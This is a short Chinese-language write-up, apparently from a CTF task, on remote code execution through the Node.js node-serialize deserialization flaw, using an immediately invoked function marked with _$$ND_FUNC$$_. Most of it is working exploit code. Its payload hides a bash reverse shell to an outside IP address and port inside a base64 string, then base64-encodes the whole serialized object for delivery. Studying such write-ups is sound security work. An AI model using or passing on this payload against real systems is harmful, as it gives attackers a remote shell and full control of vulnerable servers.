rce

参考这篇文章
序列化就是把一个对象转化为字符串的过程
我们先写一个能够执行命令的恶意对象

var test = {
    rce:function () {
        require('child_process').exec('ls',(error, stdout, stderr) => {console.log(stdout)});
    }
}
test.rce();

当调用test.rce()就会rce
然后我们进行序列化和反序列化,可以看到反序列化回来的就是test对象
2024-07-01T10:06:40.png
也就是说如果对反序列化的对象调用了rce方法就可以rce,但是实际中基本也不太会调用我们的恶意方法

IIFE

这里就用到了IIFE,也就是立即执行函数,即在定义的函数后面加一个()。可以看到在序列化之前、这个对象创建的时候就已经调用rce函数了。如果我们能够把这个恶意对象给序列化成字符串,那么反序列回来的时候这个恶意对象就可以直接rce了。
2024-07-01T10:24:33.png
但是这样我们就无法序列化这个IIFE函数,因为序列化之前就已经调用了。那么我们就只能自己把没有IIFE的序列化字符串修改为有IIFE的。
2024-07-01T10:33:21.png

弹shell

有时候没有回显,所以我们要弹shell

const serialize = require('node-serialize');
var test = {
    rce:function () {require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjE5LjIxNC8yMzMzIDA+JjE= | base64 -d | bash',(error, stdout, stderr) => {console.log(stdout,stderr)});}
}
var ser = serialize.serialize(test);
console.log(ser);
var ser ={"rce":"_$$ND_FUNC$$_function () {require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjE5LjIxNC8yMzMzIDA+JjE= | base64 -d | bash',(error, stdout, stderr) => {console.log(stdout,stderr)});}()"}
var unser = serialize.unserialize(ser);
console.log(unser);

针对华东南那道题而言,我们还要base64编码

const serialize = require('node-serialize');
var ser ='{"rce":"_$$ND_FUNC$$_function () {require(\'child_process\').exec(\'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjE5LjIxNC8yMzMzIDA+JjE= | base64 -d | bash\',(error, stdout, stderr) => {console.log(stdout,stderr)});}()"}';
console.log((Buffer.from(ser).toString("base64")));

成功弹shell
2024-07-01T11:08:25.png